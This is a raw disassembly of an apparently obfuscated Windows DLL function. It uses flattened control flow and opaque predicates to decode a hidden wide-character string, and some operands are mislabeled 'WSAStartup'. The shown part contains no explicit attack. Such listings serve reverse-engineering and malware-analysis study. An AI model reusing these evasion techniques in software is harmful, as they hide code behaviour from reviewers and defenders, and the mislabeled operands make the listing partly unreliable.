mov word [rcx], ax
mov r8, qword [rsp + 0x70]
mov ecx, dword [0x1801298a8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete byte [rsp + 0x60]
mov ecx, dword [0x1801298ac]
mov ebp, 0xd2fca98e
mov eax, 0xebe17d3
cmove ebp, eax
cmp ecx, 0xa
setl byte [rsp + 0x58]
cmovl ebp, eax
mov ecx, 0x4e6cc85c
nop word [rax + rax]
cmp ecx, 0x1fbde8f1
jg 0x1800b7ac0
cmp ecx, 0xd2fca98e
je 0x1800b7af5
cmp ecx, 0xebe17d3
je 0x1800b7afc
cmp ecx, 0x18f93051
jne 0x1800b7a90
jmp 0x1800b7b42
cmp ecx, 0x1fbde8f2
je 0x1800b7b03
cmp ecx, 0x5f0dfb2f
je 0x1800b7b07
cmp ecx, 0x4e6cc85c
jne 0x1800b7a90
mov bl, byte [rsp + 0x60]
cmp byte [rsp + 0x58], 0
mov ecx, 0xd2fca98e
mov eax, 0x1fbde8f2
cmovne ecx, eax
test bl, bl
cmovne ecx, eax
jmp 0x1800b7a90
mov ecx, 0x1fbde8f2
jmp 0x1800b7a90
mov ecx, 0x5f0dfb2f
jmp 0x1800b7a90
mov ecx, ebp
jmp 0x1800b7a90
mov ecx, 0x35207f2b
nop dword [rax]
cmp ecx, 0x35207f2b
je 0x1800b7b22
cmp ecx, 0x3e50374a
jne 0x1800b7b10
jmp 0x1800b7b29
mov ecx, 0x3e50374a
jmp 0x1800b7b10
mov dword [rsp + 0x40], 3
mov ecx, dword [rsp + 0x40]
movzx edx, cx
mov ecx, 0x18f93051
jmp 0x1800b7a90
mov dword [rsp + 0x48], 0x74
mov dword [rsp + 0x40], edx
mov ecx, dword [rsp + 0x48]
add ecx, dword [rsp + 0x40]
mov word [r8 + 2], cx
mov ecx, dword [0x1801298a8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete byte [rsp + 0x60]
mov esi, dword [0x1801298ac]
mov ebx, 0xd2fca98e
mov eax, 0xebe17d3
cmove ebx, eax
cmp esi, 0xa
setl byte [rsp + 0x58]
cmovl ebx, eax
mov ecx, 0x4e6cc85c
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x1fbde8f1
jg 0x1800b7bd0
cmp ecx, 0xd2fca98e
je 0x1800b7c05
cmp ecx, 0xebe17d3
je 0x1800b7c0c
cmp ecx, 0x18f93051
jne 0x1800b7ba0
jmp 0x1800b7c52
cmp ecx, 0x1fbde8f2
je 0x1800b7c13
cmp ecx, 0x5f0dfb2f
je 0x1800b7c17
cmp ecx, 0x4e6cc85c
jne 0x1800b7ba0
mov al, byte [rsp + 0x60]
cmp byte [rsp + 0x58], 0
mov ecx, 0xd2fca98e
mov edi, 0x1fbde8f2
cmovne ecx, edi
test al, al
cmovne ecx, edi
jmp 0x1800b7ba0
mov ecx, 0x1fbde8f2
jmp 0x1800b7ba0
mov ecx, 0x5f0dfb2f
jmp 0x1800b7ba0
mov ecx, ebx
jmp 0x1800b7ba0
mov ecx, 0x35207f2b
nop dword [rax]
cmp ecx, 0x35207f2b
je 0x1800b7c32
cmp ecx, 0x3e50374a
jne 0x1800b7c20
jmp 0x1800b7c39
mov ecx, 0x3e50374a
jmp 0x1800b7c20
mov dword [rsp + 0x40], 3
mov eax, dword [rsp + 0x40]
movzx ebp, ax
mov ecx, 0x18f93051
jmp 0x1800b7ba0
mov dword [rsp + 0x48], 0x69
mov dword [rsp + 0x40], ebp
mov eax, dword [rsp + 0x48]
add eax, dword [rsp + 0x40]
test dl, 1
mov word [r8 + 4], ax
sete byte [rsp + 0x60]
cmp esi, 0xa
setl byte [rsp + 0x58]
mov ecx, 0x4e6cc85c
cmp ecx, 0x1fbde8f1
jg 0x1800b7cb0
cmp ecx, 0xd2fca98e
je 0x1800b7ce5
cmp ecx, 0xebe17d3
je 0x1800b7cec
cmp ecx, 0x18f93051
jne 0x1800b7c80
jmp 0x1800b7d32
cmp ecx, 0x1fbde8f2
je 0x1800b7cf3
cmp ecx, 0x5f0dfb2f
je 0x1800b7cf7
cmp ecx, 0x4e6cc85c
jne 0x1800b7c80
mov al, byte [rsp + 0x60]
cmp byte [rsp + 0x58], 0
mov ecx, 0xd2fca98e
mov edi, 0x1fbde8f2
cmovne ecx, edi
test al, al
cmovne ecx, edi
jmp 0x1800b7c80
mov ecx, 0x1fbde8f2
jmp 0x1800b7c80
mov ecx, 0x5f0dfb2f
jmp 0x1800b7c80
mov ecx, ebx
jmp 0x1800b7c80
mov ecx, 0x35207f2b
nop dword [rax]
cmp ecx, 0x35207f2b
je 0x1800b7d12
cmp ecx, 0x3e50374a
jne 0x1800b7d00
jmp 0x1800b7d19
mov ecx, 0x3e50374a
jmp 0x1800b7d00
mov dword [rsp + 0x40], 3
mov eax, dword [rsp + 0x40]
movzx ebp, ax
mov ecx, 0x18f93051
jmp 0x1800b7c80
mov dword [rsp + 0x48], WSAStartup
mov dword [rsp + 0x40], ebp
mov eax, dword [rsp + 0x48]
add eax, dword [rsp + 0x40]
test dl, 1
mov word [r8 + 6], ax
sete byte [rsp + 0x60]
cmp esi, 0xa
setl byte [rsp + 0x58]
mov ecx, 0x4e6cc85c
cmp ecx, 0x1fbde8f1
jg 0x1800b7d90
cmp ecx, 0xd2fca98e
je 0x1800b7dc5
cmp ecx, 0xebe17d3
je 0x1800b7dcc
cmp ecx, 0x18f93051
jne 0x1800b7d60
jmp 0x1800b7e12
cmp ecx, 0x1fbde8f2
je 0x1800b7dd3
cmp ecx, 0x5f0dfb2f
je 0x1800b7dd7
cmp ecx, 0x4e6cc85c
jne 0x1800b7d60
mov al, byte [rsp + 0x60]
cmp byte [rsp + 0x58], 0
mov ecx, 0xd2fca98e
mov edi, 0x1fbde8f2
cmovne ecx, edi
test al, al
cmovne ecx, edi
jmp 0x1800b7d60
mov ecx, 0x1fbde8f2
jmp 0x1800b7d60
mov ecx, 0x5f0dfb2f
jmp 0x1800b7d60
mov ecx, ebx
jmp 0x1800b7d60
mov ecx, 0x35207f2b
nop dword [rax]
cmp ecx, 0x35207f2b
je 0x1800b7df2
cmp ecx, 0x3e50374a
jne 0x1800b7de0
jmp 0x1800b7df9
mov ecx, 0x3e50374a
jmp 0x1800b7de0
mov dword [rsp + 0x40], 3
mov eax, dword [rsp + 0x40]
movzx ebp, ax
mov ecx, 0x18f93051
jmp 0x1800b7d60
mov dword [rsp + 0x48], WSAStartup
mov dword [rsp + 0x40], ebp
mov eax, dword [rsp + 0x48]
add eax, dword [rsp + 0x40]
test dl, 1
mov word [r8 + 8], ax
sete byte [rsp + 0x60]
cmp esi, 0xa
setl byte [rsp + 0x58]
mov ecx, 0x4e6cc85c
cmp ecx, 0x1fbde8f1
jg 0x1800b7e70
cmp ecx, 0xd2fca98e
je 0x1800b7ea5
cmp ecx, 0xebe17d3
je 0x1800b7eac
cmp ecx, 0x18f93051
jne 0x1800b7e40
jmp 0x1800b7ef2
cmp ecx, 0x1fbde8f2
je 0x1800b7eb3
cmp ecx, 0x5f0dfb2f
je 0x1800b7eb7
cmp ecx, 0x4e6cc85c
jne 0x1800b7e40
mov al, byte [rsp + 0x60]
cmp byte [rsp + 0x58], 0
mov ecx, 0xd2fca98e
mov edi, 0x1fbde8f2
cmovne ecx, edi
test al, al
cmovne ecx, edi
jmp 0x1800b7e40
mov ecx, 0x1fbde8f2
jmp 0x1800b7e40
mov ecx, 0x5f0dfb2f
jmp 0x1800b7e40
mov ecx, ebx
jmp 0x1800b7e40
mov ecx, 0x35207f2b
nop dword [rax]
cmp ecx, 0x35207f2b
je 0x1800b7ed2
cmp ecx, 0x3e50374a
jne 0x1800b7ec0
jmp 0x1800b7ed9
mov ecx, 0x3e50374a
jmp 0x1800b7ec0
mov dword [rsp + 0x40], 3
mov eax, dword [rsp + 0x40]
movzx ebp, ax
mov ecx, 0x18f93051
jmp 0x1800b7e40
mov dword [rsp + 0x48], 0x3a
mov dword [rsp + 0x40], ebp
mov eax, dword [rsp + 0x48]
add eax, dword [rsp + 0x40]
test dl, 1
mov word [r8 + 0xa], ax
sete byte [rsp + 0x60]
cmp esi, 0xa
setl byte [rsp + 0x58]
mov ecx, 0x4e6cc85c
cmp ecx, 0x1fbde8f1
jg 0x1800b7f50
cmp ecx, 0xd2fca98e
je 0x1800b7f85
cmp ecx, 0xebe17d3
je 0x1800b7f8c
cmp ecx, 0x18f93051
jne 0x1800b7f20
jmp 0x1800b7fd2
cmp ecx, 0x1fbde8f2
je 0x1800b7f93
cmp ecx, 0x5f0dfb2f
je 0x1800b7f97
cmp ecx, 0x4e6cc85c
jne 0x1800b7f20
mov al, byte [rsp + 0x60]
cmp byte [rsp + 0x58], 0
mov ecx, 0xd2fca98e
mov edi, 0x1fbde8f2
cmovne ecx, edi
test al, al
cmovne ecx, edi
jmp 0x1800b7f20
mov ecx, 0x1fbde8f2
jmp 0x1800b7f20
mov ecx, 0x5f0dfb2f
jmp 0x1800b7f20
mov ecx, ebx
jmp 0x1800b7f20
mov ecx, 0x35207f2b
nop dword [rax]
cmp ecx, 0x35207f2b
je 0x1800b7fb2
cmp ecx, 0x3e50374a
jne 0x1800b7fa0
jmp 0x1800b7fb9
mov ecx, 0x3e50374a
jmp 0x1800b7fa0
mov dword [rsp + 0x40], 3
mov eax, dword [rsp + 0x40]
movzx ebp, ax
mov ecx, 0x18f93051
jmp 0x1800b7f20
mov dword [rsp + 0x48], 0x20
mov dword [rsp + 0x40], ebp
mov eax, dword [rsp + 0x48]
add eax, dword [rsp + 0x40]
test dl, 1
mov word [r8 + 0xc], ax
sete byte [rsp + 0x60]
cmp esi, 0xa
setl byte [rsp + 0x58]
mov ecx, 0x4e6cc85c
cmp ecx, 0x1fbde8f1
jg 0x1800b8030
cmp ecx, 0xd2fca98e
je 0x1800b8065
cmp ecx, 0xebe17d3
je 0x1800b806c
cmp ecx, 0x18f93051
jne 0x1800b8000
jmp 0x1800b80b2
cmp ecx, 0x1fbde8f2
je 0x1800b8073
cmp ecx, 0x5f0dfb2f
je 0x1800b8077
cmp ecx, 0x4e6cc85c
jne 0x1800b8000
mov al, byte [rsp + 0x60]
cmp byte [rsp + 0x58], 0
mov ecx, 0xd2fca98e
mov edi, 0x1fbde8f2
cmovne ecx, edi
test al, al
cmovne ecx, edi
jmp 0x1800b8000
mov ecx, 0x1fbde8f2
jmp 0x1800b8000
mov ecx, 0x5f0dfb2f
jmp 0x1800b8000
mov ecx, ebx
jmp 0x1800b8000
mov ecx, 0x35207f2b
nop dword [rax]
cmp ecx, 0x35207f2b
je 0x1800b8092
cmp ecx, 0x3e50374a
jne 0x1800b8080
jmp 0x1800b8099
mov ecx, 0x3e50374a
jmp 0x1800b8080
mov dword [rsp + 0x40], 3
mov eax, dword [rsp + 0x40]
movzx ebp, ax
mov ecx, 0x18f93051
jmp 0x1800b8000
mov dword [rsp + 0x48], 0x6b
mov dword [rsp + 0x40], ebp
mov eax, dword [rsp + 0x48]
add eax, dword [rsp + 0x40]
test dl, 1
mov word [r8 + 0xe], ax
sete byte [rsp + 0x60]
cmp esi, 0xa
setl byte [rsp + 0x58]
mov ecx, 0x4e6cc85c
cmp ecx, 0x1fbde8f1
jg 0x1800b8110
cmp ecx, 0xd2fca98e
je 0x1800b8145
cmp ecx, 0xebe17d3
je 0x1800b814c
cmp ecx, 0x18f93051
jne 0x1800b80e0
jmp 0x1800b8192
cmp ecx, 0x1fbde8f2
je 0x1800b8153
cmp ecx, 0x5f0dfb2f
je 0x1800b8157
cmp ecx, 0x4e6cc85c
jne 0x1800b80e0
mov al, byte [rsp + 0x60]
cmp byte [rsp + 0x58], 0
mov ecx, 0xd2fca98e
mov edi, 0x1fbde8f2
cmovne ecx, edi
test al, al
cmovne ecx, edi
jmp 0x1800b80e0
mov ecx, 0x1fbde8f2
jmp 0x1800b80e0
mov ecx, 0x5f0dfb2f
jmp 0x1800b80e0
mov ecx, ebx
jmp 0x1800b80e0
mov ecx, 0x35207f2b
nop dword [rax]
cmp ecx, 0x35207f2b
je 0x1800b8172
cmp ecx, 0x3e50374a
jne 0x1800b8160
jmp 0x1800b8179
mov ecx, 0x3e50374a
jmp 0x1800b8160
mov dword [rsp + 0x40], 3
mov eax, dword [rsp + 0x40]
movzx ebp, ax
mov ecx, 0x18f93051
jmp 0x1800b80e0
mov dword [rsp + 0x48], 0x65
mov dword [rsp + 0x40], ebp
mov eax, dword [rsp + 0x48]
add eax, dword [rsp + 0x40]
test dl, 1
mov word [r8 + 0x10], ax
sete byte [rsp + 0x60]
cmp esi, 0xa
setl byte [rsp + 0x58]
mov ecx, 0x4e6cc85c
cmp ecx, 0x1fbde8f1
jg 0x1800b81f0
cmp ecx, 0xd2fca98e
je 0x1800b8225
cmp ecx, 0xebe17d3
je 0x1800b822c
cmp ecx, 0x18f93051
jne 0x1800b81c0
jmp 0x1800b8272
cmp ecx, 0x1fbde8f2
je 0x1800b8233
cmp ecx, 0x5f0dfb2f
je 0x1800b8237
cmp ecx, 0x4e6cc85c
jne 0x1800b81c0
mov al, byte [rsp + 0x60]
cmp byte [rsp + 0x58], 0
mov ecx, 0xd2fca98e
mov edi, 0x1fbde8f2
cmovne ecx, edi
test al, al
cmovne ecx, edi
jmp 0x1800b81c0
mov ecx, 0x1fbde8f2
jmp 0x1800b81c0
mov ecx, 0x5f0dfb2f
jmp 0x1800b81c0
mov ecx, ebx
jmp 0x1800b81c0
mov ecx, 0x35207f2b
nop dword [rax]
cmp ecx, 0x35207f2b
je 0x1800b8252
cmp ecx, 0x3e50374a
jne 0x1800b8240
jmp 0x1800b8259
mov ecx, 0x3e50374a
jmp 0x1800b8240
mov dword [rsp + 0x40], 3
mov eax, dword [rsp + 0x40]
movzx ebp, ax
mov ecx, 0x18f93051
jmp 0x1800b81c0
mov dword [rsp + 0x48], 0x65
mov dword [rsp + 0x40], ebp
mov eax, dword [rsp + 0x48]
add eax, dword [rsp + 0x40]
test dl, 1
mov word [r8 + 0x12], ax
sete byte [rsp + 0x60]
cmp esi, 0xa
setl byte [rsp + 0x58]
mov ecx, 0x4e6cc85c
cmp ecx, 0x1fbde8f1
jg 0x1800b82d0
cmp ecx, 0xd2fca98e
je 0x1800b8305
cmp ecx, 0xebe17d3
je 0x1800b830c
cmp ecx, 0x18f93051
jne 0x1800b82a0
jmp 0x1800b8352
cmp ecx, 0x1fbde8f2
je 0x1800b8313
cmp ecx, 0x5f0dfb2f
je 0x1800b8317
cmp ecx, 0x4e6cc85c
jne 0x1800b82a0
mov al, byte [rsp + 0x60]
cmp byte [rsp + 0x58], 0
mov ecx, 0xd2fca98e
mov edi, 0x1fbde8f2
cmovne ecx, edi
test al, al
cmovne ecx, edi
jmp 0x1800b82a0
mov ecx, 0x1fbde8f2
jmp 0x1800b82a0
mov ecx, 0x5f0dfb2f
jmp 0x1800b82a0
mov ecx, ebx
jmp 0x1800b82a0
mov ecx, 0x35207f2b
nop dword [rax]
cmp ecx, 0x35207f2b
je 0x1800b8332
cmp ecx, 0x3e50374a
jne 0x1800b8320
jmp 0x1800b8339
mov ecx, 0x3e50374a
jmp 0x1800b8320
mov dword [rsp + 0x40], 3
mov eax, dword [rsp + 0x40]
movzx ebp, ax
mov ecx, 0x18f93051
jmp 0x1800b82a0
mov dword [rsp + 0x48], WSAStartup
mov dword [rsp + 0x40], ebp
mov eax, dword [rsp + 0x48]
add eax, dword [rsp + 0x40]
test dl, 1
mov word [r8 + 0x14], ax
sete byte [rsp + 0x60]
cmp esi, 0xa
setl byte [rsp + 0x58]
mov ecx, 0x4e6cc85c
cmp ecx, 0x1fbde8f1
jg 0x1800b83b0
cmp ecx, 0xd2fca98e
je 0x1800b83e5
cmp ecx, 0xebe17d3
je 0x1800b83ec
cmp ecx, 0x18f93051
jne 0x1800b8380
jmp 0x1800b8432
cmp ecx, 0x1fbde8f2
je 0x1800b83f3
cmp ecx, 0x5f0dfb2f
je 0x1800b83f7
cmp ecx, 0x4e6cc85c
jne 0x1800b8380
mov al, byte [rsp + 0x60]
cmp byte [rsp + 0x58], 0
mov ecx, 0xd2fca98e
mov edi, 0x1fbde8f2
cmovne ecx, edi
test al, al
cmovne ecx, edi
jmp 0x1800b8380
mov ecx, 0x1fbde8f2
jmp 0x1800b8380
mov ecx, 0x5f0dfb2f
jmp 0x1800b8380
mov ecx, ebx
jmp 0x1800b8380
mov ecx, 0x35207f2b
nop dword [rax]
cmp ecx, 0x35207f2b
je 0x1800b8412
cmp ecx, 0x3e50374a
jne 0x1800b8400
jmp 0x1800b8419
mov ecx, 0x3e50374a
jmp 0x1800b8400
mov dword [rsp + 0x40], 3
mov eax, dword [rsp + 0x40]
movzx ebp, ax
mov ecx, 0x18f93051
jmp 0x1800b8380
mov dword [rsp + 0x48], 0x2d
mov dword [rsp + 0x40], ebp
mov eax, dword [rsp + 0x48]
add eax, dword [rsp + 0x40]
test dl, 1
mov word [r8 + 0x16], ax
sete byte [rsp + 0x60]
cmp esi, 0xa
setl byte [rsp + 0x58]
mov ecx, 0x4e6cc85c
cmp ecx, 0x1fbde8f1
jg 0x1800b8490
cmp ecx, 0xd2fca98e
je 0x1800b84c5
cmp ecx, 0xebe17d3
je 0x1800b84cc
cmp ecx, 0x18f93051
jne 0x1800b8460
jmp 0x1800b8512
cmp ecx, 0x1fbde8f2
je 0x1800b84d3
cmp ecx, 0x5f0dfb2f
je 0x1800b84d7
cmp ecx, 0x4e6cc85c
jne 0x1800b8460
mov al, byte [rsp + 0x60]
cmp byte [rsp + 0x58], 0
mov ecx, 0xd2fca98e
mov edi, 0x1fbde8f2
cmovne ecx, edi
test al, al
cmovne ecx, edi
jmp 0x1800b8460
mov ecx, 0x1fbde8f2
jmp 0x1800b8460
mov ecx, 0x5f0dfb2f
jmp 0x1800b8460
mov ecx, ebx
jmp 0x1800b8460
mov ecx, 0x35207f2b
nop dword [rax]
cmp ecx, 0x35207f2b
je 0x1800b84f2
cmp ecx, 0x3e50374a
jne 0x1800b84e0
jmp 0x1800b84f9
mov ecx, 0x3e50374a
jmp 0x1800b84e0
mov dword [rsp + 0x40], 3
mov eax, dword [rsp + 0x40]
movzx ebp, ax
mov ecx, 0x18f93051
jmp 0x1800b8460
mov dword [rsp + 0x48], 0x61
mov dword [rsp + 0x40], ebp
mov eax, dword [rsp + 0x48]
add eax, dword [rsp + 0x40]
lea rcx, [r8 + 0x1a]
test dl, 1
mov word [r8 + 0x18], ax
mov qword [rsp + 0x298], rcx
sete byte [rsp + 0x60]
cmp esi, 0xa
setl byte [rsp + 0x58]
mov ecx, 0x4e6cc85c
nop dword [rax]
cmp ecx, 0x1fbde8f1
jg 0x1800b8580
cmp ecx, 0xd2fca98e
je 0x1800b85b5
cmp ecx, 0xebe17d3
je 0x1800b85bc
cmp ecx, 0x18f93051
jne 0x1800b8550
jmp 0x1800b8600
cmp ecx, 0x1fbde8f2
je 0x1800b85c3
cmp ecx, 0x5f0dfb2f
je 0x1800b85c7
cmp ecx, 0x4e6cc85c
jne 0x1800b8550
mov dl, byte [rsp + 0x60]
cmp byte [rsp + 0x58], 0
mov ecx, 0xd2fca98e
mov ebp, 0x1fbde8f2
cmovne ecx, ebp
test dl, dl
cmovne ecx, ebp
jmp 0x1800b8550
mov ecx, 0x1fbde8f2
jmp 0x1800b8550
mov ecx, 0x5f0dfb2f
jmp 0x1800b8550
mov ecx, ebx
jmp 0x1800b8550
mov eax, 0x35207f2b
nop dword [rax]
cmp eax, 0x35207f2b
je 0x1800b85e0
cmp eax, 0x3e50374a
jne 0x1800b85d0
jmp 0x1800b85e7
mov eax, 0x3e50374a
jmp 0x1800b85d0
mov dword [rsp + 0x40], 3
mov eax, dword [rsp + 0x40]
movzx eax, ax
mov ecx, 0x18f93051
jmp 0x1800b8550
mov dword [rsp + 0x48], WSAStartup
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x48]
add eax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x298]
mov word [rcx], ax
mov eax, 0x6f033c33
jmp 0x1800b7930
mov byte [rsp + 0x40], cl
mov cl, byte [rsp + 0x40]
mov byte [rax + 4], cl
mov edx, 0xdfbe209
nop dword [rax]
cmp edx, 0xeae3817
je 0x1800b8bf2
cmp edx, 0xdfbe209
jne 0x1800b8640
mov dword [rsp + 0x40], 0
mov edx, 0x698c8bdd
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x1b304c9b
je 0x1800b868b
cmp edx, 0x698c8bdd
jne 0x1800b8670
mov ecx, dword [rsp + 0x40]
mov edx, 0x1b304c9b
jmp 0x1800b8670
mov byte [rsp + 0x48], cl
mov cl, byte [rsp + 0x48]
add cl, 0x44
mov edx, 0xeae3817
jmp 0x1800b8640
mov r8, qword [rsp + 0x298]
mov ecx, dword [0x1801298a8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete byte [rsp + 0x60]
mov ecx, dword [0x1801298ac]
mov ebp, 0xd2fca98e
mov eax, 0xebe17d3
cmove ebp, eax
cmp ecx, 0xa
setl byte [rsp + 0x58]
cmovl ebp, eax
mov ecx, 0x4e6cc85c
nop dword [rax]
cmp ecx, 0x1fbde8f1
jg 0x1800b8710
cmp ecx, 0xd2fca98e
je 0x1800b8745
cmp ecx, 0xebe17d3
je 0x1800b874c
cmp ecx, 0x18f93051
jne 0x1800b86e0
jmp 0x1800b8c6d
cmp ecx, 0x1fbde8f2
je 0x1800b8753
cmp ecx, 0x5f0dfb2f
je 0x1800b8757
cmp ecx, 0x4e6cc85c
jne 0x1800b86e0
mov bl, byte [rsp + 0x60]
cmp byte [rsp + 0x58], 0
mov ecx, 0xd2fca98e
mov eax, 0x1fbde8f2
cmovne ecx, eax
test bl, bl
cmovne ecx, eax
jmp 0x1800b86e0
mov ecx, 0x1fbde8f2
jmp 0x1800b86e0
mov ecx, 0x5f0dfb2f
jmp 0x1800b86e0
mov ecx, ebp
jmp 0x1800b86e0
mov ecx, 0x35207f2b
nop dword [rax]
cmp ecx, 0x35207f2b
je 0x1800b8772
cmp ecx, 0x3e50374a
jne 0x1800b8760
jmp 0x1800b8779
mov ecx, 0x3e50374a
jmp 0x1800b8760
mov dword [rsp + 0x40], 3
mov ecx, dword [rsp + 0x40]
movzx edx, cx
mov ecx, 0x18f93051
jmp 0x1800b86e0
mov byte [rsp + 0x40], cl
mov cl, byte [rsp + 0x40]
mov byte [rax + 4], cl
mov edx, 0xdfbe209
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xeae3817
je 0x1800b8d72
cmp edx, 0xdfbe209
jne 0x1800b87b0
mov dword [rsp + 0x40], 0
mov edx, 0x698c8bdd
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x1b304c9b
je 0x1800b87fb
cmp edx, 0x698c8bdd
jne 0x1800b87e0
mov ecx, dword [rsp + 0x40]
mov edx, 0x1b304c9b
jmp 0x1800b87e0
mov byte [rsp + 0x48], cl
mov cl, byte [rsp + 0x48]
add cl, 0x44
mov edx, 0xeae3817
jmp 0x1800b87b0
mov dword [rsp + 0x40], 0x20
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 4], dx
mov edx, 0x66a53b08
nop
cmp edx, 0x45c64127
je 0x1800b8ded
cmp edx, 0x66a53b08
jne 0x1800b8830
mov ecx, 0x32175fe9
nop dword [rax]
cmp ecx, 0x32175fe9
je 0x1800b8862
cmp ecx, 0x9dbef50
jne 0x1800b8850
jmp 0x1800b8869
mov ecx, 0x9dbef50
jmp 0x1800b8850
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800b8830
mov dword [rsp + 0x70], 0x74
mov word [rsp + 0x40], bp
movzx eax, word [rsp + 0x40]
mov edx, dword [rsp + 0x70]
add dx, ax
test cl, 1
mov word [rsp + 0x2a2], dx
sete byte [rsp + 0x58]
cmp edi, 0xa
setl byte [rsp + 0x48]
mov eax, 0xe371ccc2
nop
cmp eax, 0x117a5aa1
jle 0x1800b8900
cmp eax, 0x117a5aa2
je 0x1800b8919
cmp eax, 0x352435fc
je 0x1800b8920
cmp eax, 0x36430429
jne 0x1800b88d0
jmp 0x1800b8e79
cmp eax, 0xc93ff860
je 0x1800b8947
cmp eax, 0xe371ccc2
je 0x1800b894e
cmp eax, 0x369743b
jne 0x1800b88d0
mov eax, ebx
jmp 0x1800b88d0
mov eax, 0x369743b
jmp 0x1800b88d0
mov eax, 0x1c61ffe1
nop word cs:[rax + rax]
nop
cmp eax, 0x1c61ffe1
je 0x1800b8940
cmp eax, 0xe0743747
jne 0x1800b8930
jmp 0x1800b896e
mov eax, 0xe0743747
jmp 0x1800b8930
mov eax, 0x352435fc
jmp 0x1800b88d0
mov dl, byte [rsp + 0x58]
cmp byte [rsp + 0x48], 0
mov eax, 0x117a5aa2
mov esi, 0x369743b
cmovne eax, esi
test dl, dl
cmovne eax, esi
jmp 0x1800b88d0
mov dword [rsp + 0x70], 6
mov ebp, dword [rsp + 0x70]
mov eax, 0x36430429
jmp 0x1800b88d0
mov word [rsp + 0x40], cx
movzx ecx, word [rsp + 0x40]
mov word [rax + 0xa], cx
mov dword [rsp + 0x48], 0x20
mov edx, 0x21587ead
nop
cmp edx, 0x8cf96cc
je 0x1800b8f74
cmp edx, 0x21587ead
jne 0x1800b89a0
mov dword [rsp + 0x40], 0x33d6
mov edx, 0x13896f2d
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xefcd29e
je 0x1800b8a08
cmp edx, 0x13896f2d
jne 0x1800b89d0
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0xefcd29e
jmp 0x1800b89d0
mov word [rsp + 0x58], cx
movzx edx, word [rsp + 0x58]
mov ecx, dword [rsp + 0x48]
add cx, dx
mov edx, 0x8cf96cc
jmp 0x1800b89a0
mov byte [rsp + 0x298], al
mov al, byte [rsp + 0x298]
mov edx, dword [rsp + 0x70]
add dl, al
mov byte [rsp + 0x16d], dl
mov dword [rsp + WSAStartup], 0x70
mov edx, 0x1de76d63
nop dword [rax + rax]
cmp edx, 0xa132f20c
je 0x1800b8f92
cmp edx, 0x1de76d63
jne 0x1800b8a50
mov eax, 0x150df70d
nop dword [rax]
cmp eax, 0x150df70c
jle 0x1800b8aa0
cmp eax, 0x5225b5c7
je 0x1800b8aef
cmp eax, 0x3c788574
je 0x1800b8ab2
cmp eax, 0x150df70d
jne 0x1800b8a70
mov dword [rsp + 0x298], 0x56
mov eax, 0xcdaf8623
jmp 0x1800b8a70
cmp eax, 0xc47262e3
je 0x1800b8ada
cmp eax, 0xcdaf8623
jne 0x1800b8a70
mov eax, ecx
jmp 0x1800b8a70
movsxd rdx, dword [rsp + 0x298]
imul rax, rdx, 0x4ec4ec4f
mov rbx, rax
shr rbx, 0x3f
shr rax, 0x22
add eax, ebx
lea ebx, [rax + rax*2]
lea eax, [rax + rbx*4]
sub edx, eax
mov eax, ebp
jmp 0x1800b8a70
mov eax, dword [rsp + 0x298]
mov eax, dword [rsp + 0x298]
mov eax, 0x3c788574
jmp 0x1800b8a70
mov byte [rsp + 0x40], dl
mov al, byte [rsp + 0x40]
mov edx, 0xa132f20c
jmp 0x1800b8a50
mov r8, qword [rsp + 0x298]
mov ecx, dword [0x1801298a8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete byte [rsp + 0x60]
mov ecx, dword [0x1801298ac]
mov ebp, 0xd2fca98e
mov eax, 0xebe17d3
cmove ebp, eax
cmp ecx, 0xa
setl byte [rsp + 0x58]
cmovl ebp, eax
mov ecx, 0x4e6cc85c
cmp ecx, 0x1fbde8f1
jg 0x1800b8b70
cmp ecx, 0xd2fca98e
je 0x1800b8ba5
cmp ecx, 0xebe17d3
je 0x1800b8bac
cmp ecx, 0x18f93051
jne 0x1800b8b40
jmp 0x1800b9d3e
cmp ecx, 0x1fbde8f2
je 0x1800b8bb3
cmp ecx, 0x5f0dfb2f
je 0x1800b8bb7
cmp ecx, 0x4e6cc85c
jne 0x1800b8b40
mov bl, byte [rsp + 0x60]
cmp byte [rsp + 0x58], 0
mov ecx, 0xd2fca98e
mov eax, 0x1fbde8f2
cmovne ecx, eax
test bl, bl
cmovne ecx, eax
jmp 0x1800b8b40
mov ecx, 0x1fbde8f2
jmp 0x1800b8b40
mov ecx, 0x5f0dfb2f
jmp 0x1800b8b40
mov ecx, ebp
jmp 0x1800b8b40
mov ecx, 0x35207f2b
nop dword [rax]
cmp ecx, 0x35207f2b
je 0x1800b8bd2
cmp ecx, 0x3e50374a
jne 0x1800b8bc0
jmp 0x1800b8bd9
mov ecx, 0x3e50374a
jmp 0x1800b8bc0
mov dword [rsp + 0x40], 3
mov ecx, dword [rsp + 0x40]
movzx edx, cx
mov ecx, 0x18f93051
jmp 0x1800b8b40
mov byte [rsp + 0x40], cl
mov cl, byte [rsp + 0x40]
mov byte [rax + 5], cl
mov edx, 0xdfbe209
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xeae3817
je 0x1800b9e42
cmp edx, 0xdfbe209
jne 0x1800b8c10
mov dword [rsp + 0x40], 0
mov edx, 0x698c8bdd
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x1b304c9b
je 0x1800b8c5b
cmp edx, 0x698c8bdd
jne 0x1800b8c40
